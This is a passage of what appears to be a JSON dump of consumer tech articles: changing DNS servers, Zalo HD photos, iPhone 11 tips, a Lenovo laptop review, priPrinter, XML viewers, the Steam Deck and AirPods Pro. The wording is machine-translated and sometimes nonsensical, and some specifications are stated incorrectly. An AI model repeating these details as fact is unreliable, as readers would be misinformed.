Galaxy.\nSee more:\nHow to download an exclusive iPhone X animated wallpaper on other iPhones Own the integrated theme wallpaper for smartphones Download the official iPhone X Reflection ringtone from Apple ncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWacn6y7rbvAnaCnn12ku6Z5z6WsrGVmYrK5wNGepJ5lp5a5rbzAqZyrZZakv268x6ilnqs%3D\n","link":"/post/instructions-for-downloading-one-plus-6-extreme-wallpaper-for-phones/","section":"post","tags":null,"title":"Instructions for downloading One Plus 6 extreme wallpaper for phones"},{"body":"When you change the DNS server that the Internet-connected router, computer, or other device is using, that is, you are changing the server, usually designated by the ISP, which the computer or device uses to convert the hostname. master into IP address.\nIn other words, you are changing the service provider to turn www.facebook.com into 173.252.110.27.\nChanging the DNS server can be an effective troubleshooting step if there are certain problems with your Internet connection, which can help keep your web browsing more private (assuming you choose the service write data) and can even allow you to access the websites that your ISP has blocked.\nBy default, your computer will automatically obtain DNS information from your ISP (ISP). Sometimes, DNS Servers are unstable and you are blocked from accessing certain websites. Or the default DNS Server is blocked by some websites for a number of reasons. In this case you should change the DNS Server with the free Public DNS Server.\nFortunately, there are some Public DNS Servers that you can choose to use instead of automatically assigned servers that you might be using at the present time. Please refer to the article: The best, fastest DNS list of Google, VNPT, FPT, Viettel, Singapore for detailed information.\nInstructions for changing DNS Server 1. Why should I change my DNS Server? 2. How to change DNS server settings: Router and device Change the DNS server on the router Change DNS server on computers and other devices  1. Why should I change my DNS Server? By default, your computer will automatically obtain DNS information from your ISP (ISP). Sometimes, DNS Servers are unstable and block you from accessing websites. Or the default DNS Server is blocked by some websites for a number of reasons.\nUsing a 3rd DNS server like Google Public DNS will help you:\nFix DNS error. Increase response time between computer and DNS Server. Ability to access blocked Web sites. Protect your information more safely and protect your computer from phishing attacks and other attackers. 2. How to change DNS server settings: Router and device Enter the new DNS servers you want to start using in the DNS settings area, usually next to other network configuration options in the device or computer you are using.\nHowever, before you change the DNS server, you will need to decide whether it is a better choice in your particular case, to change the DNS server on the router or on the computer or device. personal:\nChange the DNS servers on your router if you want all computers and devices connected to the Internet through that router to use the new DNS servers. This only works if your computer and device are set up for DHCP, which means they look to the router because of DNS server, among many other information. This is very common.\nChange the DNS server on your personal device if you only want that single device to use these different DNS servers. This is a good idea when troubleshooting Internet with a computer / device that you suspect might be related to DNS or if you don't have a router. This is also the case, if you encounter a less common situation like not using DHCP to get network information for the computer (s) or another Internet-connected device (s).\nHere are some more specific help with the following two situations:\nChange the DNS server on the router To change the DNS server on the router, look for DNS- labeled text fields , usually in the DNS Address section , most likely in the Setup or Basic Settings area in the router's web-based management interface and enter the new address.\nPlease refer to the article: How to change the DNS server on the most popular routers for more details. This article will explain how to make details for most existing routers.\nIf you still have problems even after looking through that tutorial, you can always download the manual for the specific router model from the production company's support website.\nFinding online about a specific router model is a good idea, if your router is not one of the popular types.\nChange DNS server on computers and other devices To change the DNS server on a Windows computer, locate the DNS zone in the Internet Protocol properties, accessible from the Network settings and enter the new DNS server .\nMicrosoft has changed the wording and location of network-related settings for each new Windows release, but you can find all the necessary steps in the next section.\na. Change DNS Server on Windows To change the DNS Server on your Windows computer, first press the Windows key, then enter the Network and Sharing Center keyword into the Search box, then select the Network and Sharing Center option on the results list.\nAlternatively, you can open the Network and Sharing Center by opening Control Panel =\u0026gt; Network and Internet =\u0026gt; Network and Sharing Center.\n  \nClick on the current Internet connection you are using and then select Properties .\n  Double-click Internet Protocol Version 4 (TCP / IPv4) . Select Use the following DNS server addresses , then enter Preferred and Alternate DNS Server.\n  Check the option Validate settings upon exit and then click OK .\nFinally open the Command Prompt and enter ipconfig / flushdns into the Command Prompt window to clear all current DNS cache.\n  b. Instructions for changing DNS Server on Mac OS X To change the DNS Server on Mac OS X, first click on the Apple logo and select System Preferences .\n  Next select Network.\n  \nOn the Network interface you switch to the DNS card. Here click the + symbol to replace / add Preferred DNS Server to the new IP address.\n  Click to select the + symbol again to replace / add Alternate DNS Server to the new IP address.\n  Finally click OK and select Apply to save the changes.\nc. Change DNS Server on iOS device To change DNS Server on iOS device, go to Settings and choose Wifi .\n  Next click on the current Wifi connection you are using.\n  Click on the DNS entry then replace the existing DNS Server with the new DNS Server.\n  Finally click on the reverse icon to save the changes.\nd. Change DNS Server on Android device To change the DNS Server on the Android device, first click the Settings icon.\n  Next choose Wifi .\n  Click and hold on the current Wifi connection until a small popup window appears on the device screen.\n  Select the Modify network next.\nThen check the option box Show advanced options and scroll down to see more options.\n  Click IP Settings to change from DHCP to Static .\n  Enter Preferred DNS Sercer in the frame DNS 1 and Alternate DNS Server into DNS frame 2.\n  Then select Save to save the changes.\nRefer to some of the following articles:\nInstructions for removing DNS Unlocker adware Learn about DNS? What is DNS Lookup? Some common informatics terms How to change DNS to access Facebook faster Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0edOoZJygkaO0pnnDp6pmq5Wnw6a%2BjKilZq%2BZo7Gww9JmpJqbXZ68tHnAp5tmmZ6Zv7C1ww%3D%3D\n","link":"/post/instructions-to-change-dns-server-on-windows-mac-ios-and-android/","section":"post","tags":null,"title":"Instructions to change DNS Server on Windows, Mac, iOS and Android"},{"body":"Currently, messaging applications, voice calls all support sending images to friends. This supports a lot of users when we want to send photos to friends as soon as we text each other. And now, Zalo has supported sending high quality HD images to friends. The image will be more quality than the original image we want to send. So how to send HD images to friends on Zalo? Follow the tutorial below of Network Administrator.\nStep 1: At the chat dialog interface with friends, click on the plus icon on the right side of the screen. Soon, you will see the image in the gallery on the device. If you want to find more images, swipe the screen up, or down.\n   Step 2: Next, click on the image you want to send in HD quality. Then we can write a note for the image, when clicking Enter note right below . When you have finished entering the note, click OK .\nIf there is no need to skip this note writing step.\n   Step 3: Next, you will see the HD box at the bottom of the screen to the left of the interface. Click on that HD box , then click the Submit button.\nSoon, we will see a notification on Zalo interface. Click on the Do not show this message box again , if you do not want the message to appear when sending HD photos on Zalo. Click OK . Soon, high quality images will be sent to friends.\n    With just a few simple steps, your images have been sent to friends on Zalo with high quality images. However, when sending Zalo images it will take more space if we use 3G. Any editing on the image will not be applied when sending HD images on Zalo. If you want your images to be sent to friends on Zalo with high quality, don't miss this feature.\nRefer to the following articles: Instructions on how to share and send GIF images via Zalo Instructions for making video calls on Zalo Instructions to play Live stream on Zalo chat group I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0edOoZKydnpl6qbCMoqSan5Woeqm1xqFkqq2Roba1xYypn6isn6h6qbXGoWSrnaOkubbAyKilZqeeYseiuM4%3D\n","link":"/post/instructions-to-send-hd-images-high-quality-photos-high-resolution-on-zalo/","section":"post","tags":null,"title":"Instructions to send HD images, high quality photos, high resolution on Zalo"},{"body":"Apple's iPhone 11 offers a ton of useful features and a pretty snappy experience. However, there are quite a few hidden tricks that users may not know about while owning this phone.\nThe following article will help users know some valuable tips available on iPhone 11, including the Pro version as well as some tips that can be applied to previous iPhone models.\nUsing iPhone 11 pro camera tips and iPhone 11 tips, you can dramatically improve your iPhone experience and get much better results when taking photos and videos.\n15 Iphone 11 pro camera tips\n1. Ultra wide Iphone camera 2. Remove the font with both normal-wide angle cameras 3. Night mode 4. Check the \"genuine\" screen of Iphone 11 5. Record 4K video from any of the front-facing sensors 6. Haptich touch 7. Take advantage of iPhone 11's Deep Fusion Photography\nHow to use Deep Fusion mode on iPhone 11 8. Change the exposure time in night mode\nTips for taking photos at night with iPhone 11 9. Change video resolution and FPS 10. Record a quick video while in Photo mode 11. Take pictures continuously on iPhone 11 12. Take a 1x portrait photo 13. Force turn on Camera flash for still pictures 14. Take high monochrome light photos 15. Access additional camera controls 20 tips for using iPhone 11 pro\n1. Using a new Transfer your data 2. Enable Dark Mode in iOS 13 3. Learn about Haptic Touch 4. Switch to Super Wide Camera 5. Get a quick charger 6. Customize zoom mode 7. Record 4K video from any rear sensor 8. Record 4K video from the selfie camera 9. Spin the Slofie 10. Shrink out the super wide camera while editing 11. Use Night Mode 12. Use QuickTake feature 13. Take photos in Burst mode 14. Change the filter strength 15. Crop and rotate 4K video 16. Use the new text editing action 17. Use Face ID from more angles 18. Get back the virtual Home button 19. Smart typing method 20. Take pictures in RAW format 15 Iphone 11 pro camera tips 1. Ultra wide Iphone camera Tap the 0.5x button in the camera to quickly switch to the ultra-wide sensor camera. With 12 MP super wide-angle sensor, f / 2.4 aperture, 13 mm focal length\u0026nbsp;\n2. Remove the font with both normal-wide angle cameras When you access the Camera, by default, you can switch to the TELE cam, when you click 2x, it helps to switch to the wide-angle mode, we don't need to go back.\nThis is probably a feature that last year iphone Xs, Xs max were jealous of Xr.\n3. Night mode This is a new feature on the flaship of current phone companies, but Apple's way is completely different. This feature only appears when we take low light pictures and the machine decides how many seconds during the photo shoot. It sounds a bit nonsense, not very Pro, but in fact it is really very Pro because it aims at the simplicity of using the iPhone, we do not care whether the surroundings are dark or like that. do you just need to take the camera to shoot and the rest is the part of the loom.\n4. Check the \"genuine\" screen of Iphone 11 Iphone 11 Pro and Pro max use OLED screens with extremely good quality. Of course, the price is also 'heavenly', so from the iPhone 2019 models, Apple has integrated a new feature that is the warning of replacing the batch screen.\nRight in the Setting section, the device will have a screen replacement warning. This feature is extremely rare for you to buy the old iphone to hand. We have 1 more basis to determine this is an iphone build.\n5. Record 4K video from any of the front-facing sensors From the same settings screen, you can also change the resolution for the front and rear cameras to 4K. Go to Settings -\u0026gt; Camera -\u0026gt; Video recording and go to 4K.\n6. Haptich touch Instead of emphasizing the screen part. You just need to long press on the icons to show the options bar in that application.\n7. Take advantage of iPhone 11's Deep Fusion Photography The new iPhone 11, iPhone 11 Pro and iPhone 11 Pro Max offer Deep Fusion Photography.\nThis new image processing system takes advantage of the neural engine of the A13 Bionic chip and uses advanced machine learning to optimize texture, noise, detail and image processing.\u0026nbsp;\nThe Deep Fusion feature automatically starts up based on the situation you're taking a photo of. Deep Fusion is said to sit between Smart Capture and Low Light modes on the iPhone 11.\nIt's usually applied in low-light situations but not low enough for Night Mode to kick in.\nHow to use Deep Fusion mode on iPhone 11: To use the Deep Fusion feature of iPhone 11 you need to pay attention:\nOn the iPhone 11 Pro, you must take pictures using the Wide and Telephoto lenses, as this feature is not available with Ultra-Wide lenses. On iPhone 11, mode is only available on wide or normal lens. One thing you need to do before you can take a Deep Fusion enabled photo is to turn off the toggle for Out-of-Frame Capture.\u0026nbsp;\nBecause when this feature is turned on, iPhone will take pictures using both the wide and ultra wide lenses to capture details outside of the wide lens frame. Since Ultra-Wide lenses do not support Deep Fusion, the image processing system is disabled in this mode.\nYou can turn off Frame Photo Capture and take advantage of Deep Fusion by following these steps.\nOn the iPhone open Settings. Go to Camera Settings. Turn off the switch for Take Photo Outside Frame. You can turn on the Out of Frame Video Capture function because Deep Fusion is a still image capture feature. Read on for more cool iPhone 11 Camera tips you need to know.\n8. Change the exposure time in night mode   Next on our list of must-know tips with our best iPhone 11 Camera is Night Mode.\nWith the addition of this new feature, the iPhone has become the new best night photography smartphone, even beating the Google Pixel 4.\nIf you prefer to take low-light shots at night, then you also have the option to manually adjust the exposure time before pressing the shoot button.\u0026nbsp;\nYou can access the slider to adjust exposure time by pressing the new Night Shutter button that appears in the top right corner of the screen when you are shooting in darker conditions.\nWhen you press the button, a slider will appear just above the shutter button. You can then move the slider left or right to increase or decrease the exposure time.\u0026nbsp;\nDepending on the scene and how you keep the device, you can increase the exposure time up to 30 seconds.\nTips for taking photos at night with iPhone 11: You can significantly increase the shooting time of night shots by placing your iPhone on a tripod or stand.\n  Thanks to the new Ultra-Wide lens, your iPhone has the ability to take photos and videos out of frame. How it works is quite interesting. When you shoot with a wide lens, your iPhone will also capture and record videos with the Ultra-Wide lens to capture an area out of the frame to improve the composition.\nYour iPhone will retain this additional data for up to 30 days, during which time you can change the photo layout to include part of the photo or video that is not part of the original photo.\nThis feature is extremely useful in situations where you take a group photo and accidentally exclude or crop someone. iPhone automatically detects when there are more scenes and captures it so you can use that data later. Continue with the iPhone Camera tips below.\n9. Change video resolution and FPS   If you're running iOS 13.2 or later on an iPhone 11 or iPhone 11 Pro, you can quickly change the video resolution and frames per second (FPS) settings from within the Camera app. Usually changing these settings requires the user to open the Settings app and then go to Camera Settings.\n\u0026nbsp;On the newest iPhone, however, you just need to go to the Camera app's Video mode and tap the resolution button to switch between the different resolutions. To do so, tap HD or 4K to switch between these modes.\n  Similarly, you can tap the FPS button to switch between different framerate settings per second including 24, 30, and 60fps settings.\nThe new buttons make it much easier to switch Video settings on iPhone without requiring the user to exit the Camera app. The FPS settings button also works in Slo-Mo mode.\n10. Record a quick video while in Photo mode   The next iPhone 11 photography tip involves the feature we've been waiting for years. With the iPhone 11 and iOS 13, Apple has finally allowed the newest iPhones to quickly record video without switching to Video mode first.\nUsers just need to touch and hold the Shutter button to record a short video. If you want to record a video for a longer time, you can also lock the video recording by moving your finger to the right.\n11. Take pictures continuously on iPhone 11   From pressing and holding the shot button to start recording video, how do you take Burst photos on the new iPhone 11 and iPhone 11 Pro?\u0026nbsp;\nThe answer is quite simple once you know it. You can press the shutter button and then quickly move your finger to the left.\u0026nbsp;\nAs soon as you do, iPhone will start taking photos continuously and continue to do so until you lift your finger.\n12. Take a 1x portrait photo   Here's one of the great iPhone 11 Camera tips for anyone who loves Portrait photography.\u0026nbsp;\nWith the new iPhone, Apple is finally allowing iPhone users to take Portrait photos with a wide lens.\u0026nbsp;\nOn older iPhones, you can only take portrait photos with the Telephoto lens, which means your subject appears closer than it really is.\u0026nbsp;\nOne of the new iPhones where you can tap the 2x button from the bottom left of the viewfinder and switch to the wide lens.\nPortrait mode bonus tip for iPhone 11: The new iPhone 11 also allows users to take better portrait photos, and can now take portrait photos of objects and pets.\n13. Force turn on Camera flash for still pictures   Apple has changed the way you access certain controls on the iPhone, and this includes a Flash button. On iPhone 11, iPhone 11 Pro, and iPhone 11 Pro Max, you can turn off the flash or switch to auto mode, but you can't force it on - meaning it will blink on every photo you take.\u0026nbsp;\nHowever, the next tip in our list of iPhone 11 Camera tips should give you more control over flash.\u0026nbsp;\nWhat many users don't know is that you can actually force the flash on the iPhone 11 but you have to do it from a separate button.\u0026nbsp;\nThis button becomes available by swiping up on the viewfinder and then pressing the flash button.\nWhen you do, new options appear on the screen allowing you to tap flash auto, on and off.\u0026nbsp;\nHere, you can select the On option, which will turn on the flash for all stills you take.\n14. Take high monochrome light photos If you're a fan of the Portrait Light feature, then you'll appreciate the new High-Key Light Mono feature that Apple added for the iPhone 11 Camera.\u0026nbsp;\nYou can use it in conjunction with other Light Portrait modes by switching to the Camera app Portrait Mode and scrolling to the high-key Single-key Light setting.\u0026nbsp;\nWith this new Portrait Light mode, you can take high-quality studio lighting photos right at home.\n15. Access additional camera controls   Last but certainly not the least on our list of iPhone Camera Tips that everyone should know is a must-know feature for all iPhone 11 users.\u0026nbsp;\nThe new iPhone 11 Camera app hides many useful controls in the hidden menu that can be accessed by swiping up on the camera viewfinder or pressing the arrow button located in the middle top of the screen.\nAs you swipe up you get access to the Flash button, Live Photo toggle, Aspect Ratio changer, Timer and Live Filters.\n20 tips for using iPhone 11 pro 1. Using a new Transfer your data Those who are using an iPhone with iOS 12.4 or higher profile can use the new Data Transfer method to set up their new iPhone. When the screen shows Transfer your data, click Transfer from iPhone to transfer the data from old iPhone to new iPhone.\nThe process of transferring data from one device to another is completely unrelated to iCloud. So it will be very quick and you will be able to find all your apps and photos.\n2. Enable Dark Mode in iOS 13 This is one of the new features of the iOS 13 operating system that a lot of people like. When you activate it will instantly change the color scheme giving you a dark background with white letters. This mode not only saves battery life but is also very easy on the eyes.\n  To switch dark mode, do the following: open Control Center and touch and hold the Brightness bar. In the lower left corner you'll see the newly transformed Dark Mode. Tap on it to switch to Dark Mode.\nIn addition, you can also switch to dark mode by going to Settings -\u0026gt; Select Display and brightness-\u0026gt; You will see 2 monitors with 1 light side and 1 dark side, press the circle button below. Dark letters to activate.\n3. Learn about Haptic Touch Haptic Touch (also known as haptic feedback) is the same feature with 3D Touch as before. Haptic Touch has the ability to touch the screen based on time sensitivity instead of pressure. That is, you do not need to emphasize, just touch and hold on an object to display a context menu.\nOn your iPhone 11, you can adjust the amount of time it takes to activate Haptic Touch when using touch and hold gestures by going to Settings\u0026gt; Accessibility\u0026gt; Touch\u0026gt; Haptic Touch and selecting the speed of Haptic touch fast. or slow.\n  4. Switch to Super Wide Camera iPhone 11 is equipped with an ultra-wide camera (ultra-wide camera) that helps users capture more details. To switch to the ultra-wide camera simply touch the 0.5x button to quickly switch to the ultra-wide sensor.\n  5. Get a quick charger The iPhone 11 still supports fast charging, but it doesn't come with a fast charger. So for fast charging you'll have to buy Apple's 29W USB-C Adapter and Apple's USB-C to connect the lights.\nIf you do not have the money to do this, you can use the 12W power adapter of the iPad. It will charge your iPhone twice as fast.\u0026nbsp;\n6. Customize zoom mode iPhone 11 is capable of extremely impressive image zoom with a 12MP main camera for 1x zoom. In addition, you will be given two different zoom options: 0.5 to 2 times, your lens will automatically change the zoom level you require.\n  7. Record 4K video from any rear sensor One more tip that cannot be ignored when using the iPhone 11 is being able to record 4K video from any rear sensor. To do this you need to go to Settings -\u0026gt; Camera -\u0026gt; Video recording and switch to 4K.\n8. Record 4K video from the selfie camera With iPhone 11, you can also record 4K video from the front camera. From the same settings screen, you can also change the resolution for the front camera to 4K.\n9. Spin the Slofie This is also the first time on the iPhone, the front camera is supported with slow motion at 120 frames per second. You can record Slofie by switching to the front camera and swiping over the new Slo-mo option to start recording slow motion videos from the front camera.\u0026nbsp;\n10. Shrink out the super wide camera while editing When you take a photo, the iPhone 11 can take pictures of both its wide and ultra-wide sensor. And it keeps the super wide shots around for a while. So you can go to the screen to edit and zoom out to add details captured from the ultra-wide image later.\n11. Use Night Mode\u0026nbsp; Finally, Apple is also releasing Night Mode on the iPhone 11. With Night Mode you will take better, brighter, more natural-looking night photos, and full of details.\nThis feature works automatically and there is no button for the user to use. Night mode turns on automatically when the Camera app detects you're in low light situations.\n12. Use QuickTake feature\u0026nbsp; QuickTake is also a new feature that Apple for the iPhone 11 first owns. With this feature you can touch and hold the shutter button to immediately start recording video. The video will be in the same frame and shoot as the photo, very beautiful and impressive.\n  To record a video for longer, you should swipe right on the shutter to lock it into video recording mode.\n13. Take photos in Burst mode In iPhone 11, to take pictures in burst mode, you just need to tap the shutter button and swipe left\n14. Change the filter strength You can set the filter strength after selecting a new filter by switching to Edit Mode for photos.\n15. Crop and rotate 4K video To crop and rotate 4K video on iPhone 11 tap the edit button on the video and you'll find new options to quickly rotate or crop the video you've captured.\n16. Use the new text editing action A good trick on the iPhone 11 you should not ignore is that you can use the new text editor. You just need to touch and hold the cursor to select it and instantly move it around.\n  You don't have to press from beginning to end the text you want to select like any other smartphone, with iPhone you just tap on a word and instantly swipe to where you want to select, like at the end of a paragraph. iOS will select all text between the two points.\nOnce your text has been selected, simply use the gesture to copy it. Just use three fingers to copy, pinch with three fingers to paste, and swipe again with three fingers to undo a tap or action.\n17. Use Face ID from more angles In addition to being able to work 30% faster, the iPhone 11 Face ID feature also works on larger angles. So Face ID will unlock your phone for you, even if your iPhone isn't exactly right in front of you.\n18. Get back the virtual Home button If you are familiar with the iPhone series with a Home button and have not yet adapted to the lack of a Home button, you can get back the virtual Home button by going to Settings -\u0026gt; General -\u0026gt; Accessibility -\u0026gt; Touch Support and tap Touch Assistant with the word Off next to it and turn it on. At this point, you will see on the screen there is a round button on the screen, now try to touch it, you will see a lot of commands, with the word Home, touch it to return to the Home screen.\n  19. Smart typing method Another new improvement coming from the iPhone 11 is an improved key sale. No need to press each letter to form words, this smartphone just needs to swipe your finger on the letters on the keyboard to form words.\u0026nbsp;\n20. Take pictures in RAW format Thanks to the application of the new Smart HDR mode, the images taken from the iPhone 11 are stunning. However, if you have higher needs, you will want to use the iPhone 11's camera to take RAW pictures because this method of taking pictures allows you to adjust ISO, exposure, color . according to your needs.\nTo take RAW photos on iPhone 11 you need to use Halide, Camera +, ProCamera or VSCO software and do the following:\nFirst, you open the camera app you just downloaded, you will see a yellow arrow in the center, you will swipe from the bottom up above the yellow arrow. At this point, it will bring up a bunch of useful options where you'll see the RAW icon. Tap on it and now, you can take any RAW photo you want.\nIphone 11 pro Iphone tips ncG1vNJzZmismaXArq3KnmWcp51kfnZ5yKmfqKaVYn5yec%2BrpmabkaKys62MraCpq11nfW7AyKmqZp6fp3q2v8innmahoJ28r7GMamhmqKKk\n","link":"/post/iphone-11-pro-camera-tips-to-use-iphone-11-effectively/","section":"post","tags":null,"title":"Iphone 11 pro camera tips to use iphone 11 effectively"},{"body":"Looking for a laptop to use every day? Need to find a device that's powerful enough to use only when needed? Perhaps Lenovo's IdeaPad S540 laptop will be the top contender.\nIn fact, this is a rather tedious laptop, but the necessary features still allow the device to work perfectly.\nFirst, we have the screen. IdeaPad S540 owns a 15.6-inch Full HD screen (1920x1080), brightness is sufficient, standard colors and has good contrast.\nThe screen of the machine for colors and good contrast About configuration, IdeaPad S540 owns Intel Core i5-8265U chip, comes with 8GB RAM, 128GB SSD hard drive and a 1TB HDD. This device also has an Nvidia GeForce MX250 GPU.\nThis is a fairly reasonable CPU set as it can balance between power supply and consumption. The i7 chip may be a bit wasteful and the i3 chip is too weak. 8GB of RAM is sufficient for almost any task on the computer and the MX250 GPU will provide the amount of graphics you need to complete the day's tasks. The device can also play some light titles like PUBG Lite and CS: GO.\nIn addition, IdeaPad S540 has a 128GB SSD and a 1TB HDD. This is a great combo for users because the Windows operating system and the necessary applications can be installed on the SDD drive, taking advantage of the speed of this hard drive. And other parts can be stored on HDD, 1TB is too comfortable for the average user.\nThe device uses a fingerprint sensor to unlock and take photos.\nThe design of the device, as well as the configuration, is quite simple and reasonable. The device is silver gray, the Lenovo logo sits modestly on the side of the device and the hinge allows opening the device 180 degrees.\nMachine can open 180 degrees The connectivity ports are full including: 2 USB 3.0 ports, 1 USB-C port, 1 HDMI port, 1 SD card slot and 1 3.5mm headphone jack.\nThe connection port on the IdeaPad S540 When opening about 20 to 30 Chrome tabs, Photoshop at the same time with Word, the machine still does not have the phenomenon of lag lag. However, this is when you install the application on an SSD, perhaps the speed of the machine will be slightly different if you choose to install programs on the HDD.\nRadiator fans sometimes run strong, but those are only times when the device has to work at full capacity.\nThe weak point on this machine is the battery life, a little shorter than expected. On average, IdeaPad S540 allows about 2 to 3 hours of use on a single charge, the duration is relatively good because Photoshop and Chrome are two super battery-consuming programs. However, when compared to other laptops, the battery of this machine seems a bit more drained.\nOverall, the Lenovo IdeaPad S540 is a reasonably priced machine, configured just enough to work. It's not a strong war horse, but few laptops of the same price range can keep up with this machine.\nncG1vNJzZmismaXArq3KnmWcp51kv6bCyJ6uZqSVo7y3u4yim56ZoJaxbr%2BUbWdmpJGlwbC8jJpkrJmWmnqwvNOipqc%3D\n","link":"/post/review-lenovo-ideapad-s540-laptop-a-safe-option/","section":"post","tags":null,"title":"Review Lenovo Ideapad S540 laptop: A safe option"},{"body":"The priPrinter software is considered to be one of the best software for giving users a preview of the print in 3D just like on paper. Besides, it also has many options to help save ink when printing. In this article I will guide you how to use priPrinter software to save ink and preview 3D print through the following specific steps:\nStep 1: Your computer needs to install priPrinter software, you can click here to download it.\nStep 2: Install and then run the software. Software interface as shown below:\n  Once installed, priPinter will automatically integrate a virtual printer into the Print function of Windows. To transfer the content of the file to print into priPrinter, open the file you want to print using a commonly used application, select the Print function and select the printer name as priPrinter. Next, click OK to export the content of the file into .priPrinter format.\nExample: In Word you click File click Print .\n  In the Printer section, choose priPrinter :\n  As soon as you press Print in Word and export the file successfully, priPrinter will automatically start and display the content of the file to print.\nStep 3: You can change the view of printed page content on the main interface of priPrinter by selecting View -\u0026gt; 3D . The printed pages will display as 3D documents as if you were printing them on paper.\n  Also in this View you can view the printed page with many other options such as:\nSingle Page: View as a single page page.\nContinuous: Arranges the page to print from top to bottom.\nFacing: Arrange four rows of print pages.\nFacing Contimuous: Shows each row of four pages printed from top to bottom.\n  If you see a content error or error, you can correct it directly on priPrinter without opening the original file. Click Insert, select Page Select and then click Select Text , click on the text to be revised.\n  To move the content on the printed page, select Insert -\u0026gt; Page Select -\u0026gt; Page Select and then drag and drop the content to any position on the printed page.\npriPrinter contains a number of beautiful print templates to choose from for printing your documents. From Page Layout, select Themes , want to see more other patterns, select Browse for Theme and browse to C: Documents and SettingsUsernameMy DocumentspriPrinter filesThemes (username is the Windows login on your computer). Then select the print template from the list and click Open .\n  By default, the program will always leave a reasonable space to make spines, depending on the printing pattern, the placement of the spines may vary. To know the exact location of the spine you can choose Page Layout -\u0026gt; Gutters -\u0026gt; Show Gutters On / Off .\n  When the spine position appears, you can adjust the spine size in an important way by dragging the mouse to the edge of the spine and dragging the border to create an appropriate distance to the content of the printed page.\n  Save toner when printing with priPrinter In the main window of priPrinter choose Effects and then choose one of the following tools:\nPage Color: The color of the printed page, so select No Color if it is not necessary to print the color.\nPage Borders: Print page borders, should not be selected.\nGrayscale: Convert the entire page content to black and white, so choose if you do not print the color\nRemove Graphics: Do not print images.\nBlack Text: Converts all text to black, suitable for black and white prints.\n  Next, click the Print Now button to print the paper.\n  In addition to printing on paper, priPrinter also integrates the tool to export printed page content into PDF format suitable for making e-books. In the priPrinter window you open PDF and select the resolution mode at Reduce to , select image quality in JPEG , name in the Title and content of the subject in the Subject .\n  You can set a password for the PDF file by clicking Protect Document and selecting Options .\n  In the Options dialog box, click on the Security section you can set arbitrary password.\n  After setting the password, click Protect Document and then click Restricted Access .\n  Click Save As PDF :\n  Name the file and then select the folder to save the PDF file after exporting, then click Save to finish.\nncG1vNJzZmismaXArq3KnmWcp51kwKLCxGarqKaVp3qxvsSvoJ6vXWixbrzRoqWtZZKuerG%2ByKmpoqakmr8%3D\n","link":"/post/save-toner-preview-3d-print-by-priprinter/","section":"post","tags":null,"title":"Save toner, preview 3D print by priPrinter"},{"body":"  Open Firefox, Chrome or Safari browser.\n  Open the XML file. Click the URL of the XML file or click the XML file, drag and drop it into a new browser window.\n  View XML files. XML tags will be purple, and XML data will appear as plain text. On Chrome and Safari browsers, click the arrows to collapse or expand a set of tags. For Firefox, you click the - or + sign to collapse or expand the tabs.\n  Save the XML file. If you're viewing an XML file on a web page and want to save it, click the File menu, then click Save. Select where you want to save the XML file and then click Save.\nView and edit XML files on Windows computers   Download XML Notepad. XML Notepad is an XML file viewer and editor released by Microsoft company. You can get a downloadable or standalone installer at https://xmlnotepad.codeplex.com. The links are in the Project Description section.\nIf you use Mac OS X, TextWrangler is a free text editor that colorizes the formatting of tags in XML files to make editing easier.\n  Install XML Notepad. Open the downloaded Notepad XML installation file and follow the setup instructions to install the program.\n  Open the XML file with Notepad XML. Open Notepad XML. Click the File menu and then click Open. Find the XML file on your computer and select Open.\n  View XML files in tree mode (Tree View). Tree View will split the XML tags in the left sidebar. Click the Tree View label, then click a card to display the text inside.\n  View XML files in XSL Output mode. XSL Output mode displays the XML file as you would view it in a browser.\n  Edit the XML file. Edit the XML file as a text file. XML Notepad software has many features for working with XML files.\nView XML file ncG1vNJzZmismaXArq3KnmWcp51kwamxjJ6YrKGVqMFuw8CyZK2nXau2psOMsaSlZZaeuaa%2F\n","link":"/post/the-easiest-way-to-view-xml-files/","section":"post","tags":null,"title":"The easiest way to View XML files"},{"body":"Steam Deck pricing starts at $399 and comes in $529 and $649 versions.\nThe Steam Deck has an AMD APU containing 2 Zen 2 4-core CPUs with 8 threads and 8 AMD RDNA 2 graphics processing units and 16GB of LPDDR5 RAM. Users will have three storage options including 64GB eMMC ($399), 256GB NVMe SSD ($529) and 512GB high-speed NVME SSD ($649). You can also expand the storage using the high-speed microSD card slot.\n  Steam Deck has a lot of different control options. On the upper two sides are two small thumbsticks, below are two Steam Controller-style trackpads. There is also a set of ABXY buttons, D-pad, L1/L2 button, R1/R2 button, Quick access button and Steam button. The bottom of the machine also has a set of buttons R4 / R5 and L4 / L5.\nThe device is equipped with a 720p touch screen (1280 x 800 pixels). The Steam Deck is also equipped with a gyroscope for motion control.\nAs for the battery, Valve claims the Steam Deck's battery capacity is enough for you to play most titles for a few hours. Even, if handling light tasks, the device can be used for 7 to 8 hours.\n  With SteamOS pre-installed, Steam Deck gives you quick pause/access to games. Thanks to that, you can easily return to the level you are working on after finishing the job.\nValve also sells a dock to help you connect your Steam Deck to your old TV, monitor, or CRT TV, if you have a cable that supports it. Steam Deck has a USB port with the ability to support USB, HDMI, Ethernet data transfer. The machine also supports standard Bluetooth with the ability to transmit audio via Bluetooth, something that Nintendo Switch does not have.\nSteam Deck's SteamOS is built on Linux and powered by Proton, so it can easily run Windows games without the developer having to adjust. Moreover, the Steam Deck can also be turned into a fully functional Linux computer when connecting a mouse, keyboard and monitor.\nncG1vNJzZmismaXArq3KnmWcp51kw6K41Z6qZqukmq6uecOemqRlmJa7pbTEpZtmn5Gism6vzqeqqKSVYoFxfIycmKdloKGuunnPnGSgmZ2awA%3D%3D\n","link":"/post/valve-s-steam-deck-handheld-game-console-400-can-play-pc-games/","section":"post","tags":null,"title":"Valve's Steam Deck handheld game console, $400, can play PC games"},{"body":"Noise cancellation is the biggest plus of AirPods Pro, so you definitely want it to work most effectively. However, contrary to expectations, the diet on this headset began to show opposition. Is there any way to fix this situation? Or do you have to endure throwing $ 249 out of the window?\nWhen the noise cancellation mode works, AirPods Pro filters all ambient sounds, helping you enjoy your favorite songs without being disturbed by children's screams or car noise. on street.\nHowever, if this mode of AirPods Pro does not work effectively, the headset will be no different from its predecessor AirPods, and the amount you have to pay extra drifts away with the noise out there. Here are ways to help you conserve your money.\nHow to fix AirPods Pro noise canceling mode does not work properly Apple often gives the reason that your iPhone, iPad or Mac device has not been updated to the latest system version, so such a problem occurs. So make sure to 